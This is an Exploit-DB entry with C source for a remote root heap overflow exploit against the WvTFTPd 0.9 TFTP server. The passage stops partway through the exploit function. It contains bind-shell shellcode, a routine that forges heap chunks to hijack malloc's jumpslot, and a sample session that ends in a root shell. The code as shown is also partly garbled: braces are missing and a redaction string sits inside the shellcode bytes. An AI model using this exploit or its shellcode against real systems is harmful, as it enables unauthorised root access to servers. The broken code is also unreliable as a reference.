Exploit-DB #608
Description: WvTFTPd 0.9 - Remote Heap Overflow
Type: remote
Platform: linux
Date: 2004-10-28
Author: infamous41md

Exploit:
/*
* wvtftp option name heap overflow remote root exploit
*
* infamous42md AT hotpop DOT com
*
* exploitation is not exactly straight forward. When we overflow our buffer,
* we overwrite a pointer that is freed before we get to trigger our overwrite.
* so we have to restore the state of this pointer to some sane value so it can
* be freed. after we do this, we trigger the overwrite, and hijack the
* jumpslot for malloc(). then to trigger malloc(), we send a bogus request,
* and then connect to our shell. all of the offsets should be fixed for 32 bit
* platforms, all you need to pass is the base address of the heap buffer we're
* overflowing. 'ltrace wvtftpd -dd 2>&1 | grep malloc | grep 616', and of
* course the jumpslot for malloc(), 'objdump -R wvtftpd | grep malloc'.
*
*/

#if 0
Usage: ./a.out
[ -h host ] [ -r object_heap_base ] [ -l retloc ]
[ -f remote file ] < -p port > < -a align >
[n00b@localho.outernet] ./a.out -h localho -r 0x8063cd0 -l 0x0805e540

connected to localho(127.0.0.1)

exploit sent, total data len 597

triggering overwritten jumpslot


connected to localho(127.0.0.1)

got a shell

id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

- Connection closed by user
#endif

#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdlib.h>

#define REMOTE_FILE "foo"
#define FTP_PORT 69
#define NOP 0x90
#define BS 0x1000
#define SHELL_PORT 7000
#define ALIGN 0
#define die(x) do{ perror(x); exit(1); }while(0)

/* a dlmalloc chunk descriptor */
#define CHUNKSZ sizeof(mchunk_t)
typedef struct _mchunk {
size_t prevsz;
size_t sz;
long fd;
long bk;
} mchunk_t;

/* program arguments */
typedef struct _args {
char *host,
*remote_file;
u_long object_heap_base,
retloc;
u_short port,
align;
} args;


/* call them shell code */
#define SHELL_LEN (sizeof(remote)-1)
char remote[] =
"\xeb\x0a""[PII_REDACTED]" /* jump */
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\xa1\x5f\x66\x6e\x69";


void usage(char *progname)

fprintf(stderr, "Usage: %s\n"
"\t[ -h host ] [ -r object_heap_base ] [ -l retloc ]\n"
"\t[ -f remote file ] < -p port > < -a align >\n",
progname);
exit(EXIT_FAILURE);



void parse_args(int argc, char **argv, args *argp)

int c = 0;

while((c = getopt(argc, argv, "h:p:r:a:l:")) != -1) {
switch (c) {
case 'a':
argp->align = atoi(optarg);
break;
case 'p':
argp->port = atoi(optarg);
break;
case 'r':
argp->object_heap_base = strtoul(optarg, NULL, 16);
break;
case 'l':
argp->retloc = strtoul(optarg, NULL, 16);
break;
case 'h':
argp->host = optarg;
break;
case 'f':
argp->remote_file = optarg;
break;
case ':':
case '?':
default:
usage(argv[0]);
}
}

if(optind != argc || argp->align > CHUNKSZ-1 || argp->object_heap_base == 0
|| 
argp->host == NULL || argp->port == 0 || argp->retloc == 0 || 
argp->remote_file == NULL)
usage(argv[0]);


int conn(char *host, u_short port, int proto)

int sock = 0;
struct hostent *hp;
struct sockaddr_in sa;

memset(&sa, 0, sizeof(sa));

hp = gethostbyname(host);
if (hp == NULL) {
herror("gethostbyname");
exit(EXIT_FAILURE);
}
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

sock = socket(AF_INET, proto, 0);
if (sock < 0)
die("socket");

/* with UDP this means we can write() instead of sendto() */
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
die("connect");

printf("\nconnected to %s(%s)\n\n", host, inet_ntoa(sa.sin_addr));
return sock;


/*
* ftp packet bytes look like:
*
* 0-1 code - [0]*256 + [1] : 1 for read, 2 for write
* 2 NULL termed file name, must exist and be readable
* X NULL termed mode [ netascii octet mail ]
* Y NULL termed option name
* Z NULL termed option value : overflow with this string
* and a bad option to get our pointer freed
*/
void sploit(args *argp, int sock)

int len = 0, align = argp->align, x = 0, begin_packet_data;
long retloc = argp->retloc, object_heap_base = argp->object_heap_base;
char buf[BS], *remote_file = argp->remote_file;
mchunk_t chunk;

memset(buf, 0, BS);
memset(&chunk, 0, CHUNKSZ);

/* set opcode for reading */
buf[1] = 1;
len = 2;

/* the file to read, and the mode */
len += sprintf(buf + len, "%s", remote_file) + 1;
len += sprintf(buf + len, "%s", "octet") + 1;

/* all that follows gets copied via strcpy() */
begin_packet_data = len;

/* the option */
len += sprintf(buf+len, "%s", "blksize") + 1; /* 8 */

/* the overflow , but first a valid blocksize to past test */
len += sprintf(buf+len, "%s", "512"); /* 3 */

/* 
* from here buffer looks like:
* [ align - shell - chunks - pkttimes - chunks ]
*/
#define OFFSET_TO_OUR_BUF_FROM_BASE 56
/* setup the chunk */
chunk.prevsz = 0xfffffffc;
chunk.sz = 0xfffffffc;
chunk.fd = retloc - 12;
chunk.bk = object_heap_base + OFFSET_TO_OUR_BUF_FROM_BASE + align + 11/* 8 +
3 */;

memset(buf+len, 'A', align);
len += align;
memcpy(buf+len, remote, SHELL_LEN);
len += SHELL_LEN;

#define CHUNK_BYTES 416
for(x = 0; x < CHUNK_BYTES - (CHUNKSZ - 1); x+= CHUNKSZ)
memcpy(buf+len+x, &chunk, CHUNKSZ);
len += x;
buf[len++] = 0;

/* trigger the free with a bad option (no value) */
len += sprintf(buf+len, "%